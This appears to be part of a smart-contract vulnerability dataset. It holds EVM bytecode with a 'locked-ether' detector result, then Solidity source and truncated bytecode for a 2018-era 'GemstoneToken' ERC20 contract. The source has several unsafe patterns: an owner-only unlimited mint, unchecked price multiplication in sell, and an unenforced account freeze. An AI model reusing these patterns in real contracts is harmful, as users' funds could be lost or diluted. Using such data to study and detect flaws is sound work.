0x60806040526004361061011f5760003560e01c8063715018a6116100a0578063a457c2d711610064578063a457c2d7146103a6578063a9059cbb146103e3578063db006a7514610420578063dd62ed3e1461045d578063f2fde38b1461049a5761011f565b8063715018a6146102e55780638456cb59146102fc5780638da5cb5b1461031357806394bf804d1461033e57806395d89b411461037b5761011f565b8063313ce567116100e7578063313ce567146101fe57806339509351146102295780633f4ba83a146102665780635c975abb1461027d57806370a08231146102a85761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c5780631b9265b8146101b757806323b872dd146101c1575b600080fd5b34801561013057600080fd5b506101396104c3565b6040516101469190611f66565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611be4565b610555565b6040516101839190611f4b565b60405180910390f35b34801561019857600080fd5b506101a16105bb565b6040516101ae9190612168565b60405180910390f35b6101bf6105c5565b005b3480156101cd57600080fd5b506101e860048036038101906101e39190611b95565b6105c7565b6040516101f59190611f4b565b60405180910390f35b34801561020a57600080fd5b5061021361077f565b6040516102209190612183565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190611be4565b610788565b60405161025d9190611f4b565b60405180910390f35b34801561027257600080fd5b5061027b61087c565b005b34801561028957600080fd5b50610292610999565b60405161029f9190611f4b565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190611b30565b6109af565b6040516102dc9190612168565b60405180910390f35b3480156102f157600080fd5b506102fa6109f8565b005b34801561030857600080fd5b50610311610b32565b005b34801561031f57600080fd5b50610328610c51565b6040516103359190611f07565b60405180910390f35b34801561034a57600080fd5b5061036560048036038101906103609190611c49565b610c7a565b6040516103729190611f4b565b60405180910390f35b34801561038757600080fd5b50610390610d97565b60405161039d9190611f66565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190611be4565b610e29565b6040516103da9190611f4b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190611be4565b610f70565b6040516104179190611f4b565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190611c20565b610fd6565b6040516104549190611f4b565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190611b59565b611271565b6040516104919190612168565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc9190611b30565b6112f8565b005b6060600480546104d2906122cc565b80601f01602080910402602001604051908101604052809291908181526020018280546104fe906122cc565b801561054b5780601f106105205761010080835404028352916020019161054b565b820191906000526020600020905b81548152906001019060200180831161052e57829003601f168201915b5050505050905090565b600061055f610999565b1561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690612088565b60405180910390fd5b6105b16105aa6114a1565b84846114a9565b6001905092915050565b6000600354905090565b565b60006105d1610999565b15610611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060890612088565b60405180910390fd5b61061c848484611674565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106676114a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de906120a8565b60405180910390fd5b6106fa838261193f90919063ffffffff16565b905061070e856107086114a1565b836114a9565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fc0d84ce5c7ff9ca21adb0f8436ff3f4951b4bb78c4e2fae2b6837958b3946ffd8560405161076b9190612168565b60405180910390a360019150509392505050565b60006012905090565b6000610792610999565b156107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990612088565b60405180910390fd5b6108726107dd6114a1565b8484600260006107eb6114a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461086d91906121ba565b6114a9565b6001905092915050565b610884610999565b6108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611fc8565b60405180910390fd5b6108cb6114a1565b73ffffffffffffffffffffffffffffffffffffffff166108e9610c51565b73ffffffffffffffffffffffffffffffffffffffff161461093f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610936906120c8565b60405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6109826114a1565b60405161098f9190611f07565b60405180910390a1565b60008060149054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a006114a1565b73ffffffffffffffffffffffffffffffffffffffff16610a1e610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b906120c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b3a610999565b15610b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7190612088565b60405180910390fd5b610b826114a1565b73ffffffffffffffffffffffffffffffffffffffff16610ba0610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed906120c8565b60405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610c3a6114a1565b604051610c479190611f07565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610c846114a1565b73ffffffffffffffffffffffffffffffffffffffff16610ca2610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cef906120c8565b60405180910390fd5b610d00610999565b15610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3790612088565b60405180910390fd5b60008311610d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7a90611fa8565b60405180910390fd5b610d8d8284611955565b6001905092915050565b606060058054610da6906122cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd2906122cc565b8015610e1f5780601f10610df457610100808354040283529160200191610e1f565b820191906000526020600020905b815481529060010190602001808311610e0257829003601f168201915b5050505050905090565b6000610e33610999565b15610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a90612088565b60405180910390fd5b600060026000610e816114a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590612128565b60405180910390fd5b610f51838261193f90919063ffffffff16565b9050610f65610f5e6114a1565b85836114a9565b600191505092915050565b6000610f7a610999565b15610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190612088565b60405180910390fd5b610fcc610fc56114a1565b8484611674565b6001905092915050565b6000610fe06114a1565b73ffffffffffffffffffffffffffffffffffffffff16610ffe610c51565b73ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b906120c8565b60405180910390fd5b61105c610999565b1561109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612088565b60405180910390fd5b8160035410156110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890612068565b60405180910390fd5b81600160006110ee6114a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612028565b60405180910390fd5b61117f8260035461193f90919063ffffffff16565b6003819055506111de82600160006111956114a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193f90919063ffffffff16565b600160006111ea6114a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a66112516114a1565b83604051611260929190611f22565b60405180910390a160019050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113006114a1565b73ffffffffffffffffffffffffffffffffffffffff1661131e610c51565b73ffffffffffffffffffffffffffffffffffffffff1614611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b906120c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db90611fe8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611519576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151090612108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611589576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158090612008565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116679190612168565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116db906120e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174b90611f88565b60405180910390fd5b61175f838383611aeb565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dd90612048565b60405180910390fd5b6117f9828261193f90919063ffffffff16565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119319190612168565b60405180910390a350505050565b6000818361194d9190612210565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bc90612148565b60405180910390fd5b6119d160008383611aeb565b6119e681600354611af090919063ffffffff16565b600381905550611a3e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611adf9190612168565b60405180910390a35050565b505050565b60008183611afe91906121ba565b905092915050565b600081359050611b1581612776565b92915050565b600081359050611b2a8161278d565b92915050565b600060208284031215611b4257600080fd5b6000611b5084828501611b06565b91505092915050565b60008060408385031215611b6c57600080fd5b6000611b7a85828601611b06565b9250506020611b8b85828601611b06565b9150509250929050565b600080600060608486031215611baa57600080fd5b6000611bb886828701611b06565b9350506020611bc986828701611b06565b9250506040611bda86828701611b1b565b9150509250925092565b60008060408385031215611bf757600080fd5b6000611c0585828601611b06565b9250506020611c1685828601611b1b565b9150509250929050565b600060208284031215611c3257600080fd5b6000611c4084828501611b1b565b91505092915050565b60008060408385031215611c5c57600080fd5b6000611c6a85828601611b1b565b9250506020611c7b85828601611b06565b9150509250929050565b611c8e81612244565b82525050565b611c9d81612256565b82525050565b6000611cae8261219e565b611cb881856121a9565b9350611cc8818560208601612299565b611cd18161235c565b840191505092915050565b6000611ce96023836121a9565b9150611cf48261236d565b604082019050919050565b6000611d0c6024836121a9565b9150611d17826123bc565b604082019050919050565b6000611d2f6014836121a9565b9150611d3a8261240b565b602082019050919050565b6000611d526026836121a9565b9150611d5d82612434565b604082019050919050565b6000611d756022836121a9565b9150611d8082612483565b604082019050919050565b6000611d98602d836121a9565b9150611da3826124d2565b604082019050919050565b6000611dbb6026836121a9565b9150611dc682612521565b604082019050919050565b6000611dde6034836121a9565b9150611de982612570565b604082019050919050565b6000611e016010836121a9565b9150611e0c826125bf565b602082019050919050565b6000611e246028836121a9565b9150611e2f826125e8565b604082019050919050565b6000611e476020836121a9565b9150611e5282612637565b602082019050919050565b6000611e6a6025836121a9565b9150611e7582612660565b604082019050919050565b6000611e8d6024836121a9565b9150611e98826126af565b604082019050919050565b6000611eb06025836121a9565b9150611ebb826126fe565b604082019050919050565b6000611ed3601f836121a9565b9150611ede8261274d565b602082019050919050565b611ef281612282565b82525050565b611f018161228c565b82525050565b6000602082019050611f1c6000830184611c85565b92915050565b6000604082019050611f376000830185611c85565b611f446020830184611ee9565b9392505050565b6000602082019050611f606000830184611c94565b92915050565b60006020820190508181036000830152611f808184611ca3565b905092915050565b60006020820190508181036000830152611fa181611cdc565b9050919050565b60006020820190508181036000830152611fc181611cff565b9050919050565b60006020820190508181036000830152611fe181611d22565b9050919050565b6000602082019050818103600083015261200181611d45565b9050919050565b6000602082019050818103600083015261202181611d68565b9050919050565b6000602082019050818103600083015261204181611d8b565b9050919050565b6000602082019050818103600083015261206181611dae565b9050919050565b6000602082019050818103600083015261208181611dd1565b9050919050565b600060208201905081810360008301526120a181611df4565b9050919050565b600060208201905081810360008301526120c181611e17565b9050919050565b600060208201905081810360008301526120e181611e3a565b9050919050565b6000602082019050818103600083015261210181611e5d565b9050919050565b6000602082019050818103600083015261212181611e80565b9050919050565b6000602082019050818103600083015261214181611ea3565b9050919050565b6000602082019050818103600083015261216181611ec6565b9050919050565b600060208201905061217d6000830184611ee9565b92915050565b60006020820190506121986000830184611ef8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006121c582612282565b91506121d083612282565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612205576122046122fe565b5b828201905092915050565b600061221b82612282565b915061222683612282565b925082821015612239576122386122fe565b5b828203905092915050565b600061224f82612262565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156122b757808201518184015260208101905061229c565b838111156122c6576000848401525b50505050565b600060028204905060018216806122e457607f821691505b602082108114156122f8576122f761232d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20416d6f756e74206d757374206265206772656174657220746860008201527f616e203000000000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2054686520616d6f756e7420697320677265617465722074686160008201527f6e207468652062616c616e636500000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20546f74616c737570706c792063616e6e6f742062652067726560008201527f61746572207468616e2074686520616d6f756e74000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61277f81612244565b811461278a57600080fd5b50565b61279681612282565b81146127a157600080fd5b5056fea26469706673582212204bb87b9dbe1b1c829b09fce0ddefeb2d5e09a80611e75f6d6218f80d412dba6c64736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
9,592
0x5b6acebad8f9e969d54bbe7c6efdc8674f8c7e76
pragma solidity ^0.4.16; /*-------------------------------------------------------------------------*/ /* * Website : https://gemstonetokenblog.blogspot.com * Email : gemstonetoken@gmail.com */ /*-------------------------------------------------------------------------*/ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } /*-------------------------------------------------------------------------*/ contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner == 0x0) throw; owner = newOwner; } } /*-------------------------------------------------------------------------*/ /** * Overflow aware uint math functions. */ contract SafeMath { //internals function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } /*-------------------------------------------------------------------------*/ contract GemstoneToken is owned, SafeMath { string public EthernetCashWebsite = "https://ethernet.cash"; address public EthernetCashAddress = this; address public creator = msg.sender; string public name = "Gemstone Token"; string public symbol = "GST"; uint8 public decimals = 18; uint256 public totalSupply = 19999999986000000000000000000; uint256 public buyPrice = 18000000; uint256 public sellPrice = 18000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function GemstoneToken() public { balanceOf[msg.sender] = totalSupply; creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Buy tokens from contract by sending ether function () payable internal { uint amount = msg.value * buyPrice ; uint amountRaised; uint bonus = 0; bonus = getBonus(amount); amount = amount + bonus; //amount = now ; require(balanceOf[creator] >= amount); require(msg.value > 0); amountRaised = safeAdd(amountRaised, msg.value); balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], amount); balanceOf[creator] = safeSub(balanceOf[creator], amount); Transfer(creator, msg.sender, amount); creator.transfer(amountRaised); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } function getBonus(uint _amount) constant private returns (uint256) { if(now >= 1524873600 && now <= 1527551999) { return _amount * 50 / 100; } if(now >= 1527552000 && now <= 1530316799) { return _amount * 40 / 100; } if(now >= 1530316800 && now <= 1532995199) { return _amount * 30 / 100; } if(now >= 1532995200 && now <= 1535759999) { return _amount * 20 / 100; } if(now >= 1535760000 && now <= 1538438399) { return _amount * 10 / 100; } return 0; } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } } /*-------------------------------------------------------------------------*/
0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f1461042857806305fefda71461047d57806306fdde03146104a9578063095ea7b31461053757806318160ddd146105915780631d411612146105ba578063313ce5671461060f57806342966c681461063e5780634490efe3146106795780634b7503341461070757806370a082311461073057806379c650681461077d57806379cc6790146107bf5780638620410b146108195780638da5cb5b1461084257806395d89b4114610897578063a9059cbb14610925578063b414d4b614610967578063cae9ca51146109b8578063dd62ed3e14610a55578063e4849b3214610ac1578063e724529c14610ae4578063f2fde38b14610b28575b6000806000600854340292506000905061014c83610b61565b9050808301925082600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101c357600080fd5b6000341115156101d257600080fd5b6101dc8234610c71565b9150610227600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610c71565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102d5600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610c9b565b600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561042357600080fd5b505050005b341561043357600080fd5b61043b610cb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048857600080fd5b6104a76004808035906020019091908035906020019091905050610cda565b005b34156104b457600080fd5b6104bc610d47565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fc5780820151818401526020810190506104e1565b50505050905090810190601f1680156105295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054257600080fd5b610577600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610de5565b604051808215151515815260200191505060405180910390f35b341561059c57600080fd5b6105a4610e72565b6040518082815260200191505060405180910390f35b34156105c557600080fd5b6105cd610e78565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061a57600080fd5b610622610e9e565b604051808260ff1660ff16815260200191505060405180910390f35b341561064957600080fd5b61065f6004808035906020019091905050610eb1565b604051808215151515815260200191505060405180910390f35b341561068457600080fd5b61068c610fb5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106cc5780820151818401526020810190506106b1565b50505050905090810190601f1680156106f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561071257600080fd5b61071a611053565b6040518082815260200191505060405180910390f35b341561073b57600080fd5b610767600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611059565b6040518082815260200191505060405180910390f35b341561078857600080fd5b6107bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611071565b005b34156107ca57600080fd5b6107ff600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111e2565b604051808215151515815260200191505060405180910390f35b341561082457600080fd5b61082c6113fc565b6040518082815260200191505060405180910390f35b341561084d57600080fd5b610855611402565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108a257600080fd5b6108aa611427565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108ea5780820151818401526020810190506108cf565b50505050905090810190601f1680156109175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561093057600080fd5b610965600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114c5565b005b341561097257600080fd5b61099e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114d4565b604051808215151515815260200191505060405180910390f35b34156109c357600080fd5b610a3b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506114f4565b604051808215151515815260200191505060405180910390f35b3415610a6057600080fd5b610aab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611672565b6040518082815260200191505060405180910390f35b3415610acc57600080fd5b610ae26004808035906020019091905050611697565b005b3415610aef57600080fd5b610b26600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611713565b005b3415610b3357600080fd5b610b5f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611838565b005b6000635ae3b9804210158015610b7b5750635b0c97ff4211155b15610b9757606460328302811515610b8f57fe5b049050610c6c565b635b0c98004210158015610baf5750635b36c7ff4211155b15610bcb57606460288302811515610bc357fe5b049050610c6c565b635b36c8004210158015610be35750635b5fa67f4211155b15610bff576064601e8302811515610bf757fe5b049050610c6c565b635b5fa6804210158015610c175750635b89d67f4211155b15610c3357606460148302811515610c2b57fe5b049050610c6c565b635b89d6804210158015610c4b5750635bb2b4ff4211155b15610c67576064600a8302811515610c5f57fe5b049050610c6c565b600090505b919050565b6000808284019050610c91848210158015610c8c5750838210155b6118fa565b809150